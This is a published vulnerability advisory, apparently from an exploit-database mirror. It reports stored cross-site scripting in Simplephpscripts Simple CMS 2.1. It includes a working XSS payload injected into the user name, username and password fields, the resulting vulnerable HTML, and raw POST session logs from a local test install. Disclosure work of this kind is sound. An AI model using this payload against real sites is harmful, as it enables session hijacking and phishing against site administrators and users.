## https://sploitus.com/exploit?id=1337DAY-ID-36985
# Exploit Title: Simplephpscripts Simple CMS 2.1 - 'Multiple' Stored Cross-Site Scripting (XSS)
# Vendor Homepage: https://simplephpscripts.com/simple-cms-php
# Version: 2.1
Product & Service Introduction:
===============================
The system could be used only in already existing websites to control their page sections and contents.
Just paste a single line of code on your web page section and start controlling it through the admin area.
Very simple installation - one step installation wizard. Option to include contents into web page sections
through php include, javascript or iframe embed. Any language support. WYSIWYG(text) editor to styling and
format contents of the sections. Suitable for web designers who work with Mobirise, Xara and other web builders.
(Copy of the Homepage: https://simplephpscripts.com/simple-cms-php )
Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a persistent cross site scripting vulnerability in the Simplephpscripts Simple CMS v2.1 web-application.
Affected Product(s):
====================
Simplephpscripts
Product: Simple CMS v2.1 - Content Management System (Web-Application)
Authentication Type:
====================
Full Authentication (Admin/Root Privileges)
Technical Details & Description:
================================
A persistent input validation web vulnerability has been discovered in the Simplephpscripts Simple CMS v2.1 web-application.
The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise
browser to web-application requests from the application-side.
The persistent cross site web vulnerability is located in `name`, `username`, `password` parameters of the `newUser`
or `editUser` modules. Remote attackers with privileged application user account and panel access are able to inject
own malicious script code as credentials. The injected code executes on preview of the users list. The request method
to inject is post and the attack vector is persistent.
Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent
external redirects to malicious source and persistent manipulation of affected application modules.
Request Method(s):
[+] POST
Vulnerable Module(s):
[+] newUser
[+] editUser
Vulnerable File(s):
[+] admin.php?act=users
Vulnerable Input(s):
[+] Name
[+] Username
[+] Password
Vulnerable Parameter(s):
[+] name
[+] username
[+] password
Affected Module(s):
[+] Users (act=users) (Backend)
Proof of Concept (PoC):
=======================
The persistent input validation web vulnerability can be exploited by remote attackers with privileged account and with low user interaction.
For security demonstration or to reproduce the persistent cross site web vulnerability follow the provided information and steps below to continue.
PoC: Payload
"><img src='31337'onerror=alert(0)></img>
Vulnerable Source: admin.php?act=users
<tbody><tr>
<td class="headlist"><a href="admin.php?act=users&orderType=DESC&orderBy=name">Name</a></td>
<td class="headlist" width="23%"><a href="admin.php?act=users&orderType=DESC&orderBy=email">Email</a></td>
<td class="headlist" width="23%"><a href="admin.php?act=users&orderType=DESC&orderBy=username">Username</a></td>
<td class="headlist" width="23%">Password</td>
<td class="headlist" colspan="2">&nbps;</td>
</tr>
<tr>
<td class="bodylist">c"><img src='31337'onerror=alert(0)></img></td>
<td class="bodylist">[email protected]</td>
<td class="bodylist">d"><img src='31337'onerror=alert(0)></img></td>
<td class="bodylist">e"><img src='31337'onerror=alert(0)></img></td>
<td class="bodylistAct"><a href="admin.php?act=editUser&id=7" title="Edit"><img class="act" src="images/edit.png" alt="Edit"></a></td>
<td class="bodylistAct"><a class="delete" href="admin.php?act=delUser&id=7" onclick="return confirm('Are you sure you want to delete it?');"
title="DELETE"><img class="act" src="images/delete.png" alt="DELETE"></a></td>
</tr>
--- PoC Session Logs (POST) [Create] ---
https://simple-cms.localhost:8000/simplecms/admin.php
Host: simple-cms.localhost:8000
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 141
Origin: https://simple-cms.localhost:8000
Connection: keep-alive
Referer: https://simple-cms.localhost:8000/simplecms/admin.php?act=newUser
Cookie: PHPSESSID=9smae9mm1m1misttrp1a2e1p23
act=addUser&name=c"><img src='31337'onerror=alert(0)></img>&[email protected]
&username=d"><img src='31337'onerror=alert(0)></img>
&password=e"><img src='31337'onerror=alert(0)></img>&submit=Add User
-
POST: HTTP/2.0 200 OK
server: Apache
content-length: 5258
content-type: text/html; charset=UTF-8
-
https://simple-cms.localhost:8000/simplecms/31337
Host: simple-cms.localhost:8000
Accept: image/webp,*/*
Connection: keep-alive
Referer: https://simple-cms.localhost:8000/simplecms/admin.php
Cookie: PHPSESSID=9smae9mm1m1misttrp1a2e1p23
-
GET: HTTP/2.0 200 OK
server: Apache
content-length: 196
content-type: text/html; charset=iso-8859-1
Reference(s):
https://simple-cms.localhost:8000/simplecms/admin.php
https://simple-cms.localhost:8000/simplecms/admin.php
https://simple-cms.localhost:8000/simplecms/admin.php?act=newUser